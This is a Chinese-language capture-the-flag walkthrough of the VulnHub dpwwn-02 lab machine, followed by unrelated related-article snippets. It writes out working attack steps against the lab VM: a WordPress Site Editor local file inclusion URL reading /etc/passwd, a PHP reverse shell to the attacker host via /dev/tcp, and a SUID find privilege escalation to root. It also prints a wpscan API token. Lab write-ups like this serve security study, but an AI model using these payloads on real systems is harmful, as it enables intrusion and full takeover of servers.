dpwwn02靶场
靶机下载地址:https://download.vulnhub.com/dpwwn/dpwwn-02.zip
信息收集
ip add 查看kali Linux虚拟机的IP为:10.10.10.128
https://vulnhub.com/entry/dpwwn-2,343/中查看靶机的信息,IP固定为10.10.10.10
所以kali Linux添加仅主机网卡设置网段为10.10.10.0/24,靶机也设置网卡为仅主机,同样的网段
虽然已知了靶机的IP为10.10.10.10,但是可以使用命令进行扫描:
netdiscover -i eth1 -r 10.10.10.0/24
netdiscover -i eth1 -r 10.10.10.0/24 是一条用来扫描局域网内活动设备的命令,具体解释如下:netdiscover:这是一个网络发现工具,用于扫描本地网络中的活跃设备,显示其 IP 地址和 MAC 地址。它是通过 ARP 请求来发现设备的。-i eth1:指定要使用的网络接口,这里是 eth1,通常指的是系统中的第二个以太网接口。如果你要在其他接口上扫描网络,应该相应地替换为正确的接口名(例如 eth0 或 wlan0)。-r 10.10.10.0/24:指定扫描的 IP 地址范围。10.10.10.0/24 表示扫描 10.10.10.0 到 10.10.10.255 这个网段内的所有 IP 地址,即该子网内的所有设备。
扫描其开放的端口和服务
nmap -sS -sV -A -T4 -p- 10.10.10.10
nmap -sS -sV -A -T4 -p- 10.10.10.10 是一条复杂的 nmap 扫描命令,包含多个选项,用于对目标 IP 地址 10.10.10.10 进行详细的扫描。下面是每个选项的解释:1. -sS(TCP SYN Scan)
这是一个 SYN 扫描,也叫 半开放扫描。nmap 会发送一个 SYN 包来初始化 TCP 连接,然后根据目标主机的响应来判断端口的开放状态。
如果目标返回 SYN-ACK,端口开放;如果返回 RST,端口关闭。
这种扫描方式不会完全建立连接,因此较难被检测到。
2. -sV(Service Version Detection)
启用 服务版本检测,即除了扫描开放端口外,nmap 还会尝试检测这些端口上运行的服务和软件的版本信息。这可以帮助你了解目标主机上运行的具体服务类型(例如:HTTP 服务器、FTP 服务器等)及其版本。
3. -A(Aggressive Scan)
这是一个 激进扫描,它会启用多个高级功能,包括:
操作系统检测:检测目标主机运行的操作系统。
版本检测:类似于 -sV,进一步检查服务的版本。
脚本扫描:执行一些 NSE(Nmap Scripting Engine)脚本,用于发现常见的漏洞或提供额外的信息。
Traceroute:追踪到目标主机的网络路径。
总体上,-A 提供了一个详细且全面的扫描,但也会更加容易被目标检测到。
4. -T4(Timing Template)
设置 扫描的速度和精确度。-T4 表示使用一个相对较快的扫描速度,但不至于太快以至于丢失大量数据。它通常用于在较短时间内完成扫描,但会增加目标检测到扫描的概率。
-T0:最慢、最隐蔽
-T5:最快、最可能被检测到
5. -p-(Scan All Ports)
该选项让 nmap 扫描目标主机的 所有 65535 个端口(从 1 到 65535)。如果没有使用 -p 指定端口,nmap 默认只扫描 1-1024 端口。
6. 10.10.10.10(目标 IP)
目标主机的 IP 地址。此命令会扫描 10.10.10.10 这个 IP 地址上的所有端口,并进行详细分析。
总结:
这条命令将对目标 IP 地址 10.10.10.10 执行以下操作:执行 TCP SYN 扫描(-sS)来检查开放的端口。
检测目标主机上运行的 服务版本(-sV)。
进行 操作系统检测、脚本扫描、版本扫描 等高级操作(-A)。
设置较高的扫描速度(-T4),使得扫描更快速但仍然保持一定的隐蔽性。
扫描 所有 65535 个端口(-p-)。
得到主要信息:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Ubuntu))
|_http-title: dpwwn-02
|_http-server-header: Apache/2.4.38 (Ubuntu)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 45541/tcp mountd
| 100005 1,2,3 46796/udp mountd
| 100005 1,2,3 51765/tcp6 mountd
| 100005 1,2,3 58738/udp6 mountd
| 100021 1,3,4 34787/tcp nlockmgr
| 100021 1,3,4 38633/tcp6 nlockmgr
| 100021 1,3,4 46788/udp nlockmgr
| 100021 1,3,4 53610/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
443/tcp open http Apache httpd 2.4.38 ((Ubuntu))
|_http-server-header: Apache/2.4.38 (Ubuntu)
|_http-title: dpwwn-02
2049/tcp open nfs 3-4 (RPC #100003)
34787/tcp open nlockmgr 1-4 (RPC #100021)
44135/tcp open mountd 1-3 (RPC #100005)
45541/tcp open mountd 1-3 (RPC #100005)
50517/tcp open mountd 1-3 (RPC #100005)
服务:
rpcbind,也叫 **portmap**,它是一个用于 **远程过程调用(RPC)** 服务的绑定工具NFS(Network File System)是一种常见的网络文件共享协议,允许在网络上的计算机之间共享文件夹和目录mountd(`44135/tcp`, `45541/tcp`, `50517/tcp`)**:目标主机运行了多个 `mountd` 服务实例,用于处理客户端的挂载请求。每个 `mountd` 服务都监听不同的端口。
遍历子目录
dirb http://10.10.10.10
得到主要访问的URL:http://10.10.10.10/wordpress/
没错得到了wordpress
使用wpscan扫描器进行扫描漏洞
wpscan -url http://10.10.10.10/wordpress
1. wpscan:
wpscan 是一个专门用于扫描和审计 WordPress 网站的工具,常用于渗透测试和安全评估。
它可以帮助检测 WordPress 网站的漏洞、已安装的插件、主题、用户信息等安全相关信息。
2. -url:
-url 参数后面跟随的是要扫描的 WordPress 网站的 URL。你提供的 URL 是 http://10.10.10.10/wordpress,这表示你要扫描的目标网站地址是 http://10.10.10.10/wordpress。
注意,如果该 URL 是一个子目录,wpscan 会从这个路径开始扫描。
3. http://10.10.10.10/wordpress:
这是目标 WordPress 网站的 URL,10.10.10.10 是目标服务器的 IP 地址,/wordpress 是 WordPress 安装所在的子目录。
出现了错误: Scan Aborted: Unable to get https://data.wpscan.org/metadata.json.sha512 (Couldn’t resolve host name)
No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
需要api-token
这里直接上https://wpscan.com/register进行注册
我这里直接提供api-token:nLhs3sSQHXVFWSVykLmtKR5wLM3dqHKUysVtwQmX2t0
执行命令:
wpscan --url http://10.10.10.10/wordpress/ --api-token nLhs3sSQHXVFWSVykLmtKR5wLM3dqHKUysVtwQmX2t0
得到漏洞:本地文件包含
[!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)
本地文件包含:
"本地文件包含"(Local File Inclusion, LFI)漏洞是常见的Web安全问题,通过它,攻击者可以利用受漏洞影响的应用程序访问服务器上的文件。这里可以直接通过发送http请求获取文件
漏洞利用
检索漏洞
根据得到的 [!] Title: Site Editor <= 1.1.1 - Local File Inclusion (LFI)信息得到:
Site Editor应该是一个插件或是软件,1.1.1是他的版本号
直接使用命令进行检索:
searchsploit Site Editor 1.1.1
得到:
\------------------------------------------------------------------ ---------------------------------Exploit Title | Path
------------------------------------------------------------------ ---------------------------------
Drupal Module CKEditor < 4.1WYSIWYG (Drupal 6.x/7.x) - Persistent | php/webapps/25493.txt
WordPress Plugin Site Editor 1.1.1 - Local File Inclusion | php/webapps/44340.txt
继续检索:
**searchsploit -m php/webapps/44340.txt **
cat 44340.txt
发现Poc
查看文本文件得到:
** Proof of Concept **
http:///wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?
ajax_path=/etc/passwd
PoC(Proof of Concept)是漏洞利用的“概念验证”,用于展示漏洞是否存在以及如何利用它。它通常是一个简化的例子,表明漏洞的有效性
这里的漏洞是 本地文件包含漏洞,我们可以根据得到的Poc进行发送http请求,得到我们想要的信息
利用Poc
curl http://10.10.10.10/wordpress/wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd
这样就可以成功访问到/etc/passwd文件!由于之前我们看到了NFS服务,我们可以在dpwwn的家目录下面写文件,然后进行包含
查看靶机共享文件夹的路径
showmount --exports 10.10.10.10
挂载共享文件夹到kali
mkdir dpwwn02
mount -t nfs 10.10.10.10:/home/dpwwn02 --target dpwwn02
mount:这是挂载命令,用于将文件系统连接到本地的挂载点。-t nfs:指定文件系统的类型为 NFS(网络文件系统)。NFS允许通过网络访问远程文件系统。10.10.10.10:/home/dpwwn02:10.10.10.10 是远程服务器的IP地址。
/home/dpwwn02 是在该远程服务器上导出的NFS共享目录。
--target dpwwn02:--target 参数(等效于旧的 -o 或直接写挂载点)指定本地系统上的挂载点。
dpwwn02 是本地路径,表示将远程目录挂载到本地目录名为 dpwwn02 的地方(例如 /mnt/dpwwn02 或当前工作目录中的 dpwwn02)。
df
显示文件系统的磁盘使用情况
挂载点dpwwn02上创建shell.php文件
<?php exec('/bin/bash -c "bash -i >& /dev/tcp/10.10.10.128/4444 0>&1"');?>
获得shell
开启监听
nc -lvp 4444
使用curl发送http请求,获取响应,反弹shell
curl http:///wp-content/plugins/siteeditor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?
ajax_path=/home/dpwwn02/shell.php
成功收到shell~ 权限是www-data权限
id
whoami
pwd
权限提升
检查特殊权限
find / -perm -u=s -type f 2>/dev/null
find /:
find 命令从指定目录开始查找,这里是根目录 /,表示从整个文件系统中查找文件。-perm -u=s:
查找设置了 SUID 位的文件。SUID(Set User ID) 是一种特殊权限,允许普通用户以文件所有者的权限运行该程序。例如,passwd 命令就需要以超级用户权限修改系统的 /etc/shadow 文件。
-type f:
仅查找文件类型为普通文件(f 表示 file)。2>/dev/null:
将错误输出(如权限不足导致的错误)重定向到 /dev/null,即忽略错误消息,避免在查找过程中打印大量不必要的权限错误信息。
发现了重要信息:
find设置了suid
shell升级
find . -exec /bin/sh -p ; -quit
find .:表示从当前目录 . 开始搜索文件或目录。
实际上,这里并不需要找到具体的文件,因为目标是利用 find 的执行功能。
-exec /bin/sh -p \;:-exec:find 的参数,用于执行指定命令。
/bin/sh:启动一个 shell,这里选择了 sh。
-p:这个参数让 sh 保留调用者的 SUID 权限。如果 find 被设置了 SUID 且以 root 所有者身份运行,则这个 shell 将以 root 权限启动。
\;:是 find 的语法,用于标记 -exec 命令的结束。
-quit:一旦找到一个结果,find 将立即退出。
在这种情况下,-quit 提高了效率,因为目标是直接启动特权 shell,而不是遍历所有文件。
拿到root权限了
id
whoami
pwd
确认是root权限了
获得flag
cd /root
cat dpwwn-02-FLAG.txt
Congratulation! You PWN this dpwwn-02. Hope you enjoy this boot to root CTF.
Thank you. 46617323
24337873
4b4d6f6f
72643234
40323564
4e443462
36312a23
26724a6d
相关文章:
dpwwn02靶场
靶机下载地址:https://download.vulnhub.com/dpwwn/dpwwn-02.zip 信息收集 ip add 查看kali Linux虚拟机的IP为:10.10.10.128 https://vulnhub.com/entry/dpwwn-2,343/中查看靶机的信息,IP固定为10.10.10.10 所以kali Linux添加仅主机网卡…...
K8S疑难概念理解——Pod,应该以哪种Kind来部署应用,为什么不直接Pod这种kind?
文章目录 一、Pod概念深度理解,为什么一般不直接以kindPod资源类型来部署应用?二、究竟应该以哪种资源类型来部署应用 一、Pod概念深度理解,为什么一般不直接以kindPod资源类型来部署应用? Pod是Kubernetes中的最小部署单元,可以包含一个或…...

LabVIEW进行仪器串行通信与模拟信号采集的比较
在现代测试、测量和控制系统中,设备通常采用两种主要方式与计算机进行交互:一种是通过数字通信接口(如RS-232、RS-485、GPIB等),另一种是通过模拟信号(电压、电流)进行数据输出。每种方式具有其…...
D81【 python 接口自动化学习】- python基础之HTTP
day81 requests请求session用法 学习日期:20241127 学习目标:http定义及实战 -- requests请求session用法 学习笔记: requests请求session用法 import requests# 创建一个会话 reqrequests.session() url "http://sellshop.5istud…...

白鹿 Hands-on:消除冷启动——基于 Amazon Lambda SnapStart 轻松打造 Serverless Web 应用(二)
文章目录 前言一、前文回顾二、在 Lambda 上运行2.1、查看 Amazon SAM template2.2、编译和部署到 Amazon Lambda2.3、功能测试与验证 三、对比 Snapstart 效果四、资源清理五、实验总结总结 前言 在这个环节中,我们将延续《白鹿 Hands-on:消除冷启动——…...

ROC曲线
文章目录 前言一、ROC的应用?二、使用方式1. 数据准备2.绘图可视化 前言 在差异分析中,ROC曲线可以用来评估不同组之间的分类性能差异。差异分析旨在比较不同组之间的特征差异,例如在基因表达研究中比较不同基因在不同条件或组织中的表达水平…...
c++ 位图和布隆过滤器
位图(bitmap) 定义 位图是一种使用位数组存储数据的结构。每一位表示一个状态,通常用于快速判断某个值是否存在,或者用来表示布尔类型的集合。 特点 节省空间:一个字节可以表示8个状态。高效操作:位操作…...
阿里云CPU过载的一点思考
现象:阿里云ECS服务器连续5个周期CPU超90%告警 分析: max_connections和max_user_connections都做了限制,但是依然告警,服务器上有四个子服务,查看了每个服务的配置文件,发现使用同一个数据库账号&#x…...

单片机学习笔记 15. 串口通信(理论)
更多单片机学习笔记:单片机学习笔记 1. 点亮一个LED灯单片机学习笔记 2. LED灯闪烁单片机学习笔记 3. LED灯流水灯单片机学习笔记 4. 蜂鸣器滴~滴~滴~单片机学习笔记 5. 数码管静态显示单片机学习笔记 6. 数码管动态显示单片机学习笔记 7. 独立键盘单片机学习笔记 8…...
算法训练营day22(二叉树08:二叉搜索树的最近公共祖先,插入,删除)
第六章 二叉树part08 今日内容: ● 235. 二叉搜索树的最近公共祖先 ● 701.二叉搜索树中的插入操作 ● 450.删除二叉搜索树中的节点 详细布置 235. 二叉搜索树的最近公共祖先 相对于 二叉树的最近公共祖先 本题就简单一些了,因为 可以利用二叉搜索树的…...
Linux history 命令详解
简介 history 命令显示当前 shell 会话中以前执行过的命令列表。这对于无需重新输入命令即可重新调用或重新执行命令特别有用。 示例用法 显示命令历史列表 history# 示例输出如下:1 ls -l 2 cd /var/log 3 cat syslog执行历史记录中的命令 !<number>…...

Kafka知识体系
一、认识Kafka 1. kafka适用场景 消息系统:kafka不仅具备传统的系统解耦、流量削峰、缓冲、异步通信、可扩展性、可恢复性等功能,还有其他消息系统难以实现的消息顺序消费及消息回溯功能。 存储系统:kafka把消息持久化到磁盘上,…...

【Android】EventBus的使用及源码分析
文章目录 介绍优点基本用法线程模式POSTINGMAINMAIN_ORDEREDBACKGROUNDASYNC 黏性事件 源码注册getDefault()registerfindSubscriberMethods小结 postpostStickyunregister 介绍 优点 简化组件之间的通信 解耦事件发送者和接收者在 Activity、Fragment 和后台线程中表现良好避…...

【大数据学习 | Spark调优篇】Spark之内存调优
1. 内存的花费 1)每个Java对象,都有一个对象头,会占用16个字节,主要是包括了一些对象的元信息,比如指向它的类的指针。如果一个对象本身很小,比如就包括了一个int类型的field,那么它的对象头实…...

Linux:文件系统inode
早期,存储文件的设备是磁盘(当下的市场几乎都是SSD),但大家习惯的把它们都称为磁盘,磁盘是用来表示区分内存的存储设备。而在操作系统看来,这个存储设备的结构就是一个线性结构,这一点很重要。 …...
力扣难题解析
滑动窗口问题 76.最小覆盖子串 题目链接:76. 最小覆盖子串 - 力扣(LeetCode) 题目描述: 给你一个字符串 s 、一个字符串 t 。返回 s 中涵盖 t 所有字符的最小子串。如果 s 中不存在涵盖 t 所有字符的子串,则返回空…...
4.5-Channel 和 Flow:SharedFlow 和 StateFlow
文章目录 SharedFlow数据流的收集和事件订阅的区别launchIn() 和 shareIn() 的区别SharedFlow 与 Flow、Channel 的区别shareIn() 适用场景 shareIn() 的具体参数说明shareIn() 的 replay 参数shareIn() 的 started 参数WhileSubscribed() 的参数及适用场景 MutableSharedFlow、…...
Qt | TCP服务器实现QTcpServer,使用线程管理客户端套接字
点击上方"蓝字"关注我们 01、QTcpServer >>> QTcpServer 是 Qt 网络模块中的一个类,用于实现TCP服务器。它允许创建一个服务器,可以接受来自客户端的连接。QTcpServer 是事件驱动的,这意味着它将通过信号和槽机制处理网络事件。 常用函数 构造函数: QT…...

【提高篇】3.6 GPIO(六,寄存器介绍,下)
目录 2.3 输出速度寄存器OSPEEDR(GPIOx_OSPEEDR) (x = A..I) 2.4 上拉/下拉寄存器 (GPIOx_PUPDR) (x = A..I) 2.5 输入数据寄存器(IDR) 2.6 输出数据寄存器(ODR) 2.7 置位/复位寄存器(BSRR) 2.8 BSRR与ODR寄存器的区别 2.3 输出速度寄存器OSPEEDR(GPIOx_OSPEEDR) (…...

【AI】数据,算力,算法和应用(3)
三、算法 算法这个词,我们都不陌生。 从接触计算机,就知道有“算法”这样一个神秘的名词存在。象征着专业、权威、神秘、高难等等。 算法是一组有序的解决问题的规则和指令,用于解决特定问题的一系列步骤。算法可以被看作是解决问题的方法…...

linux之kylin系统nginx的安装
一、nginx的作用 1.可做高性能的web服务器 直接处理静态资源(HTML/CSS/图片等),响应速度远超传统服务器类似apache支持高并发连接 2.反向代理服务器 隐藏后端服务器IP地址,提高安全性 3.负载均衡服务器 支持多种策略分发流量…...

Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误
HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误,它们的含义、原因和解决方法都有显著区别。以下是详细对比: 1. HTTP 406 (Not Acceptable) 含义: 客户端请求的内容类型与服务器支持的内容类型不匹…...
Spring Boot 实现流式响应(兼容 2.7.x)
在实际开发中,我们可能会遇到一些流式数据处理的场景,比如接收来自上游接口的 Server-Sent Events(SSE) 或 流式 JSON 内容,并将其原样中转给前端页面或客户端。这种情况下,传统的 RestTemplate 缓存机制会…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)
可以使用Sqliteviz这个网站免费编写sql语句,它能够让用户直接在浏览器内练习SQL的语法,不需要安装任何软件。 链接如下: sqliteviz 注意: 在转写SQL语法时,关键字之间有一个特定的顺序,这个顺序会影响到…...
【算法训练营Day07】字符串part1
文章目录 反转字符串反转字符串II替换数字 反转字符串 题目链接:344. 反转字符串 双指针法,两个指针的元素直接调转即可 class Solution {public void reverseString(char[] s) {int head 0;int end s.length - 1;while(head < end) {char temp …...
laravel8+vue3.0+element-plus搭建方法
创建 laravel8 项目 composer create-project --prefer-dist laravel/laravel laravel8 8.* 安装 laravel/ui composer require laravel/ui 修改 package.json 文件 "devDependencies": {"vue/compiler-sfc": "^3.0.7","axios": …...
C++.OpenGL (20/64)混合(Blending)
混合(Blending) 透明效果核心原理 #mermaid-svg-SWG0UzVfJms7Sm3e {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-SWG0UzVfJms7Sm3e .error-icon{fill:#552222;}#mermaid-svg-SWG0UzVfJms7Sm3e .error-text{fill…...
Java求职者面试指南:计算机基础与源码原理深度解析
Java求职者面试指南:计算机基础与源码原理深度解析 第一轮提问:基础概念问题 1. 请解释什么是进程和线程的区别? 面试官:进程是程序的一次执行过程,是系统进行资源分配和调度的基本单位;而线程是进程中的…...

DingDing机器人群消息推送
文章目录 1 新建机器人2 API文档说明3 代码编写 1 新建机器人 点击群设置 下滑到群管理的机器人,点击进入 添加机器人 选择自定义Webhook服务 点击添加 设置安全设置,详见说明文档 成功后,记录Webhook 2 API文档说明 点击设置说明 查看自…...
python爬虫——气象数据爬取
一、导入库与全局配置 python 运行 import json import datetime import time import requests from sqlalchemy import create_engine import csv import pandas as pd作用: 引入数据解析、网络请求、时间处理、数据库操作等所需库。requests:发送 …...